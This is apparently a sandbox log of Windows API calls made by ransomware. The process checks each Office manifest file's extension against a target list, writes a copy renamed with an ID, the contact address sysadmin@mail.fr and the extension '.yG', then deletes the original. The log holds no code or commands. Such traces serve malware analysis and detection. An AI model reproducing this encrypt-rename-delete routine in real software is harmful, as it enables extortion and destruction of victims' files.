	[0050.872] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml")) returned 1
	[0050.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104
	[0050.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104
	[0050.873] lstrlenW (lpString=".doc") returned 4
	[0050.873] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0050.873] lstrlenW (lpString=".docx") returned 5
	[0050.873] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0050.873] lstrlenW (lpString=".pdf") returned 4
	[0050.873] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0050.873] lstrlenW (lpString=".xls") returned 4
	[0050.873] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0050.873] lstrlenW (lpString=".xlsx") returned 5
	[0050.873] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0050.873] lstrlenW (lpString=".ppt") returned 4
	[0050.873] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0050.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104
	[0050.873] lstrlenW (lpString=".zip") returned 4
	[0050.873] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0050.873] lstrlenW (lpString=".rar") returned 4
	[0050.873] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0050.873] lstrlenW (lpString=".bz2") returned 4
	[0050.873] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0050.873] lstrlenW (lpString=".7z") returned 3
	[0050.873] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0050.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104
	[0050.873] lstrlenW (lpString=".dbf") returned 4
	[0050.873] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0050.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104
	[0050.873] lstrlenW (lpString=".1cd") returned 4
	[0050.874] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0050.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104
	[0050.874] lstrlenW (lpString=".jpg") returned 4
	[0050.874] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0050.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104
	[0050.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104
	[0050.874] lstrlenW (lpString=".doc") returned 4
	[0050.874] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0050.874] lstrlenW (lpString=".docx") returned 5
	[0050.874] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0050.874] lstrlenW (lpString=".pdf") returned 4
	[0050.874] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0050.874] lstrlenW (lpString=".xls") returned 4
	[0050.874] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0050.874] lstrlenW (lpString=".xlsx") returned 5
	[0050.874] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0050.874] lstrlenW (lpString=".ppt") returned 4
	[0050.874] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0050.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104
	[0050.874] lstrlenW (lpString=".zip") returned 4
	[0050.874] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0050.874] lstrlenW (lpString=".rar") returned 4
	[0050.874] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0050.874] lstrlenW (lpString=".bz2") returned 4
	[0050.874] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0050.874] lstrlenW (lpString=".7z") returned 3
	[0050.874] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0050.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104
	[0050.874] lstrlenW (lpString=".dbf") returned 4
	[0050.874] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0050.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104
	[0050.874] lstrlenW (lpString=".1cd") returned 4
	[0050.874] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0050.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104
	[0050.874] lstrlenW (lpString=".jpg") returned 4
	[0050.874] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0050.875] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0050.875] lstrlenW (lpString="AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 53
	[0050.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0050.875] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=1261) returned 1
	[0050.875] CloseHandle (hObject=0x2ec) returned 1
	[0050.875] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0050.875] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0050.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0050.875] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.875] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0050.876] GetLastError () returned 0x0
	[0050.876] ReadFile (in: hFile=0x2ec, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x4ed, lpOverlapped=0x0) returned 1
	[0050.884] WriteFile (in: hFile=0x34c, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0050.885] ReadFile (in: hFile=0x2ec, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0050.885] WriteFile (in: hFile=0x34c, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0050.885] SetEndOfFile (hFile=0x34c) returned 1
	[0050.885] CloseHandle (hObject=0x34c) returned 1
	[0050.886] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.886] SetEndOfFile (hFile=0x2ec) returned 1
	[0050.886] CloseHandle (hObject=0x2ec) returned 1
	[0050.886] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0050.887] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml")) returned 1
	[0050.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104
	[0050.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104
	[0050.887] lstrlenW (lpString=".doc") returned 4
	[0050.887] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0050.887] lstrlenW (lpString=".docx") returned 5
	[0050.887] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0050.887] lstrlenW (lpString=".pdf") returned 4
	[0050.887] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0050.887] lstrlenW (lpString=".xls") returned 4
	[0050.887] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0050.887] lstrlenW (lpString=".xlsx") returned 5
	[0050.887] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0050.887] lstrlenW (lpString=".ppt") returned 4
	[0050.887] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0050.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104
	[0050.887] lstrlenW (lpString=".zip") returned 4
	[0050.887] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0050.887] lstrlenW (lpString=".rar") returned 4
	[0050.887] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0050.887] lstrlenW (lpString=".bz2") returned 4
	[0050.888] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0050.888] lstrlenW (lpString=".7z") returned 3
	[0050.888] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0050.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104
	[0050.888] lstrlenW (lpString=".dbf") returned 4
	[0050.888] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0050.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104
	[0050.888] lstrlenW (lpString=".1cd") returned 4
	[0050.888] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0050.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104
	[0050.888] lstrlenW (lpString=".jpg") returned 4
	[0050.888] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0050.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104
	[0050.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104
	[0050.888] lstrlenW (lpString=".doc") returned 4
	[0050.888] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0050.888] lstrlenW (lpString=".docx") returned 5
	[0050.888] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0050.888] lstrlenW (lpString=".pdf") returned 4
	[0050.888] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0050.888] lstrlenW (lpString=".xls") returned 4
	[0050.888] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0050.888] lstrlenW (lpString=".xlsx") returned 5
	[0050.888] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0050.888] lstrlenW (lpString=".ppt") returned 4
	[0050.888] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0050.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104
	[0050.888] lstrlenW (lpString=".zip") returned 4
	[0050.888] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0050.888] lstrlenW (lpString=".rar") returned 4
	[0050.888] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0050.888] lstrlenW (lpString=".bz2") returned 4
	[0050.888] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0050.889] lstrlenW (lpString=".7z") returned 3
	[0050.889] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0050.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104
	[0050.889] lstrlenW (lpString=".dbf") returned 4
	[0050.889] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0050.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104
	[0050.889] lstrlenW (lpString=".1cd") returned 4
	[0050.889] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0050.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104
	[0050.889] lstrlenW (lpString=".jpg") returned 4
	[0050.889] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0050.889] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0050.889] lstrlenW (lpString="AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 53
	[0050.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0050.889] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=1261) returned 1
	[0050.889] CloseHandle (hObject=0x2ec) returned 1
	[0050.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0050.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0050.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0050.890] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.890] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0050.890] GetLastError () returned 0x0
	[0050.890] ReadFile (in: hFile=0x2ec, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x4ed, lpOverlapped=0x0) returned 1
	[0051.044] WriteFile (in: hFile=0x34c, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0051.045] ReadFile (in: hFile=0x2ec, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0051.045] WriteFile (in: hFile=0x34c, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0051.045] SetEndOfFile (hFile=0x34c) returned 1
	[0051.045] CloseHandle (hObject=0x34c) returned 1
	[0051.046] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.046] SetEndOfFile (hFile=0x2ec) returned 1
	[0051.047] CloseHandle (hObject=0x2ec) returned 1
	[0051.047] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0051.047] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml")) returned 1
	[0051.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104
	[0051.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104
	[0051.047] lstrlenW (lpString=".doc") returned 4
	[0051.047] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0051.047] lstrlenW (lpString=".docx") returned 5
	[0051.047] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0051.048] lstrlenW (lpString=".pdf") returned 4
	[0051.048] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0051.048] lstrlenW (lpString=".xls") returned 4
	[0051.048] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0051.048] lstrlenW (lpString=".xlsx") returned 5
	[0051.048] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0051.048] lstrlenW (lpString=".ppt") returned 4
	[0051.048] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0051.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104
	[0051.048] lstrlenW (lpString=".zip") returned 4
	[0051.048] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0051.048] lstrlenW (lpString=".rar") returned 4
	[0051.048] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0051.048] lstrlenW (lpString=".bz2") returned 4
	[0051.048] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0051.048] lstrlenW (lpString=".7z") returned 3
	[0051.048] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0051.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104
	[0051.048] lstrlenW (lpString=".dbf") returned 4
	[0051.048] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0051.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104
	[0051.048] lstrlenW (lpString=".1cd") returned 4
	[0051.048] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0051.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104
	[0051.048] lstrlenW (lpString=".jpg") returned 4
	[0051.048] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0051.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104
	[0051.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104
	[0051.048] lstrlenW (lpString=".doc") returned 4
	[0051.048] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0051.048] lstrlenW (lpString=".docx") returned 5
	[0051.048] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0051.048] lstrlenW (lpString=".pdf") returned 4
	[0051.048] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0051.048] lstrlenW (lpString=".xls") returned 4
	[0051.048] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0051.048] lstrlenW (lpString=".xlsx") returned 5
	[0051.049] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0051.049] lstrlenW (lpString=".ppt") returned 4
	[0051.049] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0051.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104
	[0051.049] lstrlenW (lpString=".zip") returned 4
	[0051.049] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0051.049] lstrlenW (lpString=".rar") returned 4
	[0051.049] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0051.049] lstrlenW (lpString=".bz2") returned 4
	[0051.049] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0051.049] lstrlenW (lpString=".7z") returned 3
	[0051.049] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0051.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104
	[0051.049] lstrlenW (lpString=".dbf") returned 4
	[0051.049] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0051.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104
	[0051.049] lstrlenW (lpString=".1cd") returned 4
	[0051.049] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0051.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104
	[0051.049] lstrlenW (lpString=".jpg") returned 4
	[0051.049] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0051.049] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0051.049] lstrlenW (lpString="AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 53
	[0051.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0051.049] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=3375) returned 1
	[0051.049] CloseHandle (hObject=0x2ec) returned 1
	[0051.050] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml")) returned 0x220
	[0051.050] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0051.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0051.050] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.050] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
